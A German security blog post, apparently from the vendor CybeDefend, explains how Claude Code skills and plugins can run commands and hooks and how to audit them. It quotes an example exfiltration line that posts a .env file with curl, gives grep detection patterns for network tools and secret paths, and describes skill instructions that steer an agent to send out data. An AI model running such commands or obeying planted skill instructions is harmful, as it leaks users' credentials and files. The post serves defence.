Zurück zu allen Beiträgen
Sicherheit

Sind Claude Code Skills sicher? So prüfen Sie Skills und Plugins, bevor Sie sie installieren

Jeder vierte veröffentlichte Agent Skill hat eine Schwachstelle. Was Claude Code Skills und Plugins ausführen können und wie Sie sie vor dem Installieren prüfen.

Auf dieser Seite
  1. Sind Claude Code Skills sicher?
  2. Was kann ein Claude Code Skill auf Ihrem Rechner ausführen?
  3. Sind Claude Code Plugins riskanter als Skills?
  4. Woher kommen bösartige Skills und Plugins?
  5. Wie prüfen Sie einen Claude Skill, bevor Sie ihn installieren?
  6. Wie schränken Sie Skills und Plugins in Claude Code ein?
  7. Was entgeht einem Scanner, und was fängt es ab?
  8. Häufige Fragen
  9. Sind Claude Code Skills sicher genug, um sie ungeprüft zu installieren?
  10. Wie prüfe ich einen Claude Skill vor dem Installieren?
  11. Claude Code Plugins vs. Skills: Was ist riskanter?
  12. Kann ein Skill Befehle ausführen, ohne mich zu fragen?
  13. Gilt das auch für Skills in Codex CLI und Gemini CLI?
  14. Was ist SkillSpector, und was prüft es?

Ein Claude Code Skill, geöffnet wie ein Paket: die Anweisungen in SKILL.md, ein Ordner mit Skripten und die Befehle, die er ausführen kann, bevor das Modell ein einziges Wort liest.

Einen Claude Code Skill zu installieren fühlt sich an, als würden Sie einen Prompt abspeichern. Tatsächlich ist es näher daran, fremden Code mit Ihren Rechten auszuführen: Ein Skill kann Skripte mitbringen, seine eigenen Befehle vorab freigeben und Shell-Befehle ausführen, bevor Claude ihn überhaupt liest, und ein Plugin kann Prozesse starten, sobald Sie es aktivieren. Hier steht, was beide wirklich können, und eine Prüfung, die Sie durchführen, bevor Sie irgendetwas installieren.

Sind Claude Code Skills sicher?

Claude Code Skills sind nicht von Haus aus sicher, und das liegt nicht daran, dass Anthropic sie schlecht gebaut hätte. Ein Skill ist ein Ordner mit Anweisungen und oft auch Skripten, die Claude Code mit Ihren Benutzerrechten auf Ihrem Rechner ausführt. Wie sicher er ist, hängt davon ab, wer ihn geschrieben hat und was er ausführt. Ein Skill von einem Unbekannten verdient deshalb dieselbe Skepsis wie ein Paket von einem Unbekannten.

Die erste große Messung dazu ist die Studie Agent Skills in the Wild, eingereicht am 15. Januar 2026. Die Autoren haben 42.447 Skills aus zwei großen Marketplaces gesammelt und 31.132 davon analysiert. Ihr zentrales Ergebnis lautet im Original: „26.1% of skills contain at least one vulnerability, spanning 14 distinct patterns across four categories: prompt injection, data exfiltration, privilege escalation, and supply chain risks.“ Am häufigsten ist der Abfluss von Daten mit 13,3 %, dahinter folgt die Rechteausweitung mit 11,8 %, und 5,2 % der Skills zeigen laut den Autoren Muster hoher Schwere, die stark auf böswillige Absicht hindeuten.

Für Ihre eigenen Installationsentscheidungen zählt vor allem der nächste Befund: Skills, die ausführbare Skripte mitbringen, enthalten mit 2,12-mal so hoher Wahrscheinlichkeit eine Schwachstelle wie Skills, die nur aus Anweisungen bestehen. Ein Skill, der nur aus Markdown besteht, kann den Agenten immer noch in die falsche Richtung lenken. Ein Skill, der Code mitbringt, kann den Schaden selbst anrichten.

26,1 %

von 31.132 veröffentlichten Agent Skills enthielten mindestens eine Schwachstelle (Agent Skills in the Wild, Januar 2026)

5,2 %

zeigten Muster hoher Schwere, die stark auf böswillige Absicht hindeuten, das sind rund 1.600 Skills

2,12-mal

häufiger verwundbar sind Skills mit ausführbaren Skripten als Skills, die nur Anweisungen enthalten

Was kann ein Claude Code Skill auf Ihrem Rechner ausführen?

Ein Claude Code Skill kann deutlich mehr ausführen, als die meisten annehmen. Anthropics Dokumentation zu Skills beschreibt vier Mechanismen, die zusammen festlegen, was ein Skill tun kann, bevor Claude arbeitet und während Claude arbeitet. Keiner davon ist ein Bug. Es sind Funktionen, und jede davon verändert, was es heißt, einen Skill zu installieren.

Nimmt man die letzten drei zusammen, wird das Risiko greifbar. Ein Skill, der in einem Repository eingecheckt ist, kann sich in allowed-tools selbst Bash(curl *) genehmigen, und eine eingeschleuste Zeile !`curl -s -d @.env https://...` läuft dann in dem Moment, in dem der Skill aufgerufen wird, und schickt die Datei an einen Server nach Wahl des Autors. Claude Code prüft jedes Glied einer Pipe einzeln, diese Regel würde curl ... | sh also nicht abdecken; für eine Exfiltration genügt aber ein einzelnes curl. Auf Sie wartet sie nicht: Claude ruft Skills von sich aus auf, sobald eine Beschreibung zur Aufgabe passt, und eine Beschreibung wie „use this skill for any task in this repository“ passt auf alles. Anthropics eigener Rat dazu ist unmissverständlich: „A skill can grant itself broad tool access, so review the allowed-tools of skills checked into a repository before you run Claude Code there.“

Zwei Details verschieben das Bild zu Ihren Gunsten, und Sie sollten beide nutzen. Erstens haben Ihre eigenen Regeln Vorrang. Außerhalb des Auto-Modus bricht ein eingeschleuster Befehl, der nicht erlaubt ist, den gesamten Skill ab, und laut Dokumentation gilt: „deny and ask rules still override allowed-tools.“ Eine deny-Regel auf Bash(curl *) sticht die Vorabfreigabe jedes Skills. Zweitens läuft im Auto-Modus, inzwischen die Voreinstellung in den Tarifen Pro, Max und Team, ein eingeschleuster Befehl, der Ihre Freigabe bräuchte, beim Laden nicht an: Der Skill wird mit der Anweisung geladen, ihn auszuführen, und Claudes eigener Aufruf geht dann durch den Klassifikator des Auto-Modus. Das ist eine Prüfung, keine Garantie. Wie oft der Klassifikator danebenliegt, zeigen wir in unserem Leitfaden zu den Permission-Modi von Claude Code.

Sind Claude Code Plugins riskanter als Skills?

Ja, ein Plugin verdient mehr Vorsicht als ein Skill, denn ein Skill ist im Kern ein Prompt und ein Plugin ein Programm. Anthropics Leitfaden zu Plugins sagt das ohne Umschweife: „Plugins and marketplaces are highly trusted components that can execute arbitrary code on your machine with your user privileges.“ Anthropic ergänzt, dass es nicht überprüfen kann, ob Plugins so funktionieren wie vorgesehen.

Was ein Plugin laut Plugin-Referenz mitbringen kann, geht weit über Skills hinaus:

  • Hooks, also Shell-Befehle, die bei Ereignissen wie SessionStart, UserPromptSubmit oder PreToolUse feuern, ohne Anstoß durch das Modell und ohne Ihre Freigabe in dem Moment, in dem sie laufen.
  • MCP-Server, die automatisch starten, sobald das Plugin aktiviert ist, und Claude zusätzliche Tools anbieten. Was eine vergiftete Tool-Beschreibung anrichtet, zeigen wir in unserem Artikel zur Tool-Vergiftung bei MCP.
  • Monitore, Hintergrundprozesse, die laut Referenz „run unsandboxed at the same trust level as hooks“.
  • Programme in einem Ordner bin/, die dem PATH des Bash-Tools hinzugefügt werden und sich, solange das Plugin aktiv ist, wie gewöhnliche Befehle aufrufen lassen.
  • Agents, Output Styles und Skills, die das Modell genauso lenken wie ein Skill.

Die Grenze zwischen beiden ist dünner, als sie aussieht. Legen Sie eine .claude-plugin/plugin.json in einen Skill-Ordner, und Claude Code lädt ihn als Plugin, das damit Agents, Hooks und MCP-Server bündeln kann. In einem Projektordner .claude/skills/ setzt das zuerst die Bestätigung des Workspace-Trust-Dialogs voraus, ein Grund mehr, ein Repository zu lesen, bevor Sie ihm vertrauen.

Der Hook ist der Teil, den Angreifer schon heute nutzen. Am 4. August 2026 berichtete The Hacker News über einen npm-Wurm, der sich vom Paket keyv aus verbreitete und den SafeDep über 1.684 vergiftete Versionen von 420 Paketen hinweg verfolgt hat. Das vergiftete Repository hatte einen zweiten Weg hinein: Seine .claude/settings.json enthielt einen SessionStart-Hook, der die Payload aufrief, bereit, in der Claude-Code-Session jedes Nutzers zu laufen, der das Repository klont und dem Workspace vertraut. Ein Plugin kann genau diesen Hook mitliefern, und wer es installiert, hat zugestimmt, ihn auszuführen.

Auch Updates spielen eine Rolle. Bei claude-plugins-official und den meisten offiziellen Marketplaces von Anthropic ist die automatische Aktualisierung standardmäßig eingeschaltet, bei anderen Marketplaces von Drittanbietern und bei lokalen Entwicklungs-Marketplaces dagegen standardmäßig aus. Ein Plugin, das Sie am Montag Zeile für Zeile gelesen haben, bleibt nur dann das Plugin, das Sie gelesen haben, wenn seine Version festgepinnt ist.

Woher kommen bösartige Skills und Plugins?

Bösartige Skills und Plugins kommen aus denselben Quellen wie gute, und genau das ist das Problem. Skills verbreiten sich über öffentliche Marketplaces, GitHub-Repositories und Listen der „besten Skills“. Ein Skill oder Plugin kann aber auch in einem Repository stecken, das Sie klonen, in .claude/skills/ oder in einem verschachtelten Ordner, der geladen wird, sobald Claude dort an Dateien arbeitet.

Das Muster ist nicht auf Claude Code beschränkt. Am 11. September 2026 veröffentlichte AWS CVE-2026-89332 für seine IDE Kiro: Ein präpariertes Repository konnte den Agenten dazu bringen, die Registry der Kiro Powers, also Kiros eigenen Erweiterungskatalog, auf den Server eines Angreifers umzulenken, und die Änderung landete auf der Platte, bevor der Nutzer zugestimmt hatte. AWS empfahl, alle Credentials zu rotieren, die in einem Projekt lagen, das mit einer älteren Version geöffnet worden war. Dasselbe Format SKILL.md wandert inzwischen zwischen Agenten: Der Scanner von NVIDIA, um den es weiter unten geht, liest Skills für Claude Code, Codex CLI und Gemini CLI gleichermaßen. Alles in diesem Artikel gilt also auch dort.

Es erinnert außerdem an einen älteren Angriff. Agenten, die Paketnamen erfinden, haben Angreifern das Slopsquatting beschert. Agenten, die Skills installieren, liefern ihnen eine zweite Registry zum Vergiften, eine, in der die Payload eine Anweisung sein kann statt Code. Die Repository-Seite desselben Problems behandelt unser Leitfaden zur Instruction File Injection.

Wie prüfen Sie einen Claude Skill, bevor Sie ihn installieren?

Einen Claude Skill prüfen Sie, indem Sie ihn in drei Durchgängen lesen, bevor er jemals in ~/.claude/skills/ oder einem Plugin-Cache landet. Jeder Durchgang beantwortet eine Frage und dauert mit den Befehlen unten nur Sekunden. Wir haben alle drei gegen einen absichtlich bösartigen Skill, ein Plugin mit Hook und einen sauberen Skill getestet: Die ersten beiden schlagen an, der saubere Skill bleibt stumm.

1. Was führt er aus, und was genehmigt er sich selbst? Suchen Sie nach eingeschleuster Shell und selbst erteilten Berechtigungen:

grep -rnE '!`|^```!|allowed-tools|context: fork' ./the-skill

Jede Zeile mit !` läuft, bevor Claude den Skill liest. Jeder Eintrag in allowed-tools läuft, ohne Sie zu fragen. context: fork führt den Skill in einem Subagenten aus, und ein Fork im Hintergrund schreibt seine Änderungen außerhalb Ihrer Checkpoints, /rewind macht sie also nicht rückgängig.

2. Worauf greift sein Code zu? Durchsuchen Sie die Skripte nach Netzwerkaufrufen, Kodierung und Pfaden zu Secrets:

grep -rnE 'curl|wget|\bnc\b|base64|eval|exec\(|subprocess|urlopen|requests\.|fetch\(|\.ssh|\.aws|\.env|id_rsa|id_ed25519|TOKEN|SECRET|API_KEY' ./the-skill

Ein Treffer ist noch kein Urteil. Ein Deployment-Skill ruft nun einmal curl auf. Ein Skill, der eine Datei aus ~/.ssh in base64 kodiert und irgendwohin schickt, ist dagegen kein Formatierungshelfer.

3. Bei einem Plugin, oder einem Skill-Ordner mit .claude-plugin/ darin: Was startet von selbst? Listen Sie alles auf, was läuft, ohne dass Claude entscheidet, es aufzurufen:

find ./the-plugin \( -name hooks.json -o -name .mcp.json -o -name plugin.json -o -name monitors.json -o -path '*/bin/*' \) -type f -print

Öffnen Sie jede Datei, die der Befehl ausgibt. Ein SessionStart-Hook, ein Monitor oder ein MCP-Server ist Code, der in jeder Session läuft.

Danach scannen Sie den Skill. SkillSpector, von NVIDIA als Open Source unter der Lizenz Apache 2.0 veröffentlicht, prüft einen Skill gegen 71 Schwachstellenmuster in 17 Kategorien und liefert einen Risikowert von 0 bis 100. Die LLM-Analyse ist standardmäßig aktiv und schickt Dateiinhalte an den Anbieter, den Sie konfiguriert haben. Mit --no-llm bleiben die Inhalte auf Ihrem Rechner. Nur die Namen der Abhängigkeiten, die der Skill deklariert, gehen weiterhin an OSV.dev, um bekannte CVEs nachzuschlagen:

uv tool install git+https://github.com/NVIDIA/skillspector.git
skillspector scan ./the-skill/ --no-llm

Die README ist ehrlich, was die Grenzen angeht, und das sollten Sie auch sein. SkillSpector sei „defense-in-depth, not a sandbox“, es arbeite mit „static analysis only, no dynamic execution“, und für Inhalte, die nicht auf Englisch geschrieben sind, gilt: „may miss patterns in other languages“. Ein Skill, dessen Anweisungen auf Deutsch geschrieben sind, fällt genau unter diese Einschränkung. Ein Scanner findet Muster. Wofür die Anweisungen gedacht sind, weiß er nicht.

SKILL.md lesen: eingeschleuste !`-Befehle, allowed-tools, context: forkJedes mitgelieferte Skript lesen: Netzwerkaufrufe, Kodierung, Pfade zu SecretsBei einem Plugin: Hooks, MCP-Server, Monitore, bin/Scannen, dann genau die Version oder den Commit pinnen, den Sie gelesen habenInstallieren, mit deny-Regeln für alles, was er niemals tun darf
Einen Skill oder ein Plugin prüfen, bevor es Ihren Agenten erreicht

Wie schränken Sie Skills und Plugins in Claude Code ein?

Skills und Plugins schränken Sie in Claude Code über Settings ein, denn eine Prüfung findet einmal statt, eine Einstellung greift in jeder Session. Die folgenden zählen, und alle sind in Anthropics Settings-Referenz dokumentiert.

Verbieten, was ein Skill nie tun soll

Legen Sie deny- oder ask-Regeln für die Befehle und Pfade an, die einen Skill nichts angehen, etwa Bash(curl *), Bash(wget *) oder Read(~/.ssh/**). Sie haben Vorrang vor dem allowed-tools jedes Skills.

Eingeschleuste Shell abschalten

"disableSkillShellExecution": true ersetzt jeden !`-Befehl in Skills von Benutzer, Projekt und Plugins durch [shell command execution disabled by policy]. In den Managed Settings gesetzt, können Nutzer die Option nicht wieder einschalten.

Marketplaces per Allowlist freigeben

In den Managed Settings legt strictKnownMarketplaces fest, welche Marketplaces Ihre Leute hinzufügen und aus welchen sie installieren dürfen. Eine leere Liste blockiert jeden Marketplace, den offiziellen eingeschlossen.

Nur Ihre eigenen Hooks zulassen

allowManagedHooksOnly führt nur die Hooks aus, die Ihre Organisation verteilt, einschließlich derer von Plugins, die sie zwangsweise aktiviert. Damit fällt der einfachste Weg weg, über den jedes andere Plugin beim Start einer Session Code ausführen könnte.

Pinnen und prüfen

Lassen Sie die automatische Aktualisierung für Drittanbieter ausgeschaltet, pinnen Sie Versionen und stellen Sie .claude/ unter Code Owners, damit ein neuer Skill in einem Pull Request dieselbe Prüfung bekommt wie eine neue Abhängigkeit.

Einen persönlichen oder Projekt-Skill, den Sie behalten, aber nicht von selbst auslösen lassen wollen, versehen Sie in seinem Frontmatter mit disable-model-invocation: true. Wenn Sie die Datei lieber nicht anfassen, setzen Sie stattdessen "user-invocable-only" in skillOverrides. Claude führt den Skill dann nur noch aus, wenn Sie seinen Namen eintippen.

Für ein Team ist die Reihenfolge einfach: die Marketplaces in den Managed Settings per Allowlist freigeben, eingeschleuste Shell für alles abschalten, was nicht von Ihnen stammt, und Entwickler Skills nur aus dieser Allowlist hinzufügen lassen. Wer allein entwickelt, deckt mit den drei Prüfdurchgängen und einer deny-Regel auf ausgehendes curl den größten Teil des Risikos ab.

Was entgeht einem Scanner, und was fängt es ab?

Einem Scanner entgeht die Absicht. Ein Skill, der Claude anweist, nach Abschluss der Aufgabe den vollständigen Bericht samt Umgebungskonfiguration an die unten genannte Adresse zu schicken, enthält keine einzige Zeile gefährlichen Code. Die Gefahr liegt in der Aktion, die der Agent zur Laufzeit ausführt, in einer Session, in der niemand jeden Schritt mitliest. Eine statische Prüfung fängt die offensichtlichen Payloads ab. Dem Agenten durch die Aufgabe folgen kann sie nicht.

Genau hier verdient sich eine Kontrolle innerhalb der Agent-Schleife ihren Platz. VibeDefend betreibt neben Claude Code einen Action Guard, der den Aufruf des Agenten abfängt, bevor er ausgeführt wird: rm -rf, sudo, direktes Auslesen von Secrets, Ad-hoc-Schreibzugriffe auf Datenbanken. Woher die Idee kam, ist ihm gleich, ob aus einem Skill, einer README oder einer Webseite, die Claude gerade gelesen hat, und er entscheidet lokal, auf dem Rechner des Entwicklers. Das Lesen eines Skills vor der Installation ersetzt er nicht. Er deckt den Teil ab, den kein Lesen abdecken kann: was der Agent mit den Anweisungen anfängt, sobald sie in seinem Kontext stehen.

Die ehrliche Zusammenfassung ist die, die Anthropic für Plugins gibt, übertragen auf beides: Installieren Sie nur, was Sie für vertrauenswürdig halten, und prüfen Sie, was Sie installieren. Mit den drei Durchgängen oben geht das Prüfen schnell genug, um es jedes Mal zu tun.

Häufige Fragen

Sind Claude Code Skills sicher genug, um sie ungeprüft zu installieren?

Nein. Ein Skill besteht aus Anweisungen und optionalen Skripten, die Claude Code mit Ihren Benutzerrechten ausführt. Eine Studie vom Januar 2026 hat 31.132 veröffentlichte Skills untersucht und in 26,1 % eine Schwachstelle gefunden, in 5,2 % Muster, die wahrscheinlich auf böswillige Absicht hindeuten. Skills von Autoren, denen Sie vertrauen, vor der Installation gelesen und unter deny-Regeln ausgeführt, sind für die tägliche Arbeit sicher.

Wie prüfe ich einen Claude Skill vor dem Installieren?

In drei Durchgängen, bevor Sie ihn installieren: SKILL.md nach eingeschleusten !`-Befehlen und allowed-tools durchsuchen, die Skripte nach Netzwerkaufrufen, Kodierung und Pfaden zu Secrets wie ~/.ssh, und bei einem Plugin dessen Hooks, MCP-Server, Monitore und Dateien in bin/ auflisten. Danach scannen Sie ihn mit einem Werkzeug wie NVIDIA SkillSpector und pinnen die Version, die Sie gelesen haben.

Claude Code Plugins vs. Skills: Was ist riskanter?

Plugins. Anthropic beschreibt Plugins und Marketplaces als „highly trusted components that can execute arbitrary code on your machine with your user privileges“ und räumt ein, dass es sie nicht überprüfen kann. Ein Plugin kann Hooks mitbringen, die bei jedem Start einer Session laufen, MCP-Server, die automatisch starten, und Programme, die Ihrem PATH hinzugefügt werden. Installieren Sie Plugins nur aus Quellen, denen Sie vertrauen.

Kann ein Skill Befehle ausführen, ohne mich zu fragen?

Ja, auf zwei Wegen. Eine Zeile !`command` läuft, bevor der Inhalt des Skills Claude erreicht, und ein Eintrag in allowed-tools erlaubt Claude, die aufgeführten Tools in diesem Zug ohne Rückfrage zu nutzen. Ihre eigenen deny- und ask-Regeln haben Vorrang vor allowed-tools, und disableSkillShellExecution schaltet eingeschleuste Befehle komplett ab.

Gilt das auch für Skills in Codex CLI und Gemini CLI?

Ja. Das Format SKILL.md teilen sich mehrere Agenten, und Scanner wie SkillSpector lesen Skills für Claude Code, Codex CLI und Gemini CLI gleichermaßen. Was ohne Freigabe läuft, unterscheidet sich im Detail von Agent zu Agent. Ein Skill mit einem feindseligen Skript oder mit der Anweisung, Daten abfließen zu lassen, ist aber in jedem davon gefährlich.

Was ist SkillSpector, und was prüft es?

Ein Open-Source-Scanner von NVIDIA unter Apache 2.0, der einen Agent Skill prüft, bevor Sie ihn installieren. Er gleicht 71 Schwachstellenmuster in 17 Kategorien ab, schlägt bekannte CVEs nach und liefert einen Risikowert von 0 bis 100. Dazu kommt eine LLM-Analyse, die standardmäßig aktiv ist und sich mit --no-llm abschalten lässt. Die eigene README beschreibt das Werkzeug als „defense-in-depth, not a sandbox“.

VibeDefend installieren in 5 Sekunden.

Ein einziger Befehl verbindet jeden Coding-Agenten auf Ihrem Rechner mit CybeDefend: Ihre Geschäftsregeln, Ihre Compliance-Frameworks und Guards, die destruktive Aufrufe blockieren, bevor sie ausgeführt werden.

Installation in 5 SekundenNode 18.17+
npx -y @cybedefend/vibedefend@latest install
Erkennt automatisch
  • Claude CodeClaude Code
  • CursorCursor
  • OpenAI CodexOpenAI Codex
  • WindsurfWindsurf
  • GitHub CopilotVS Code Copilot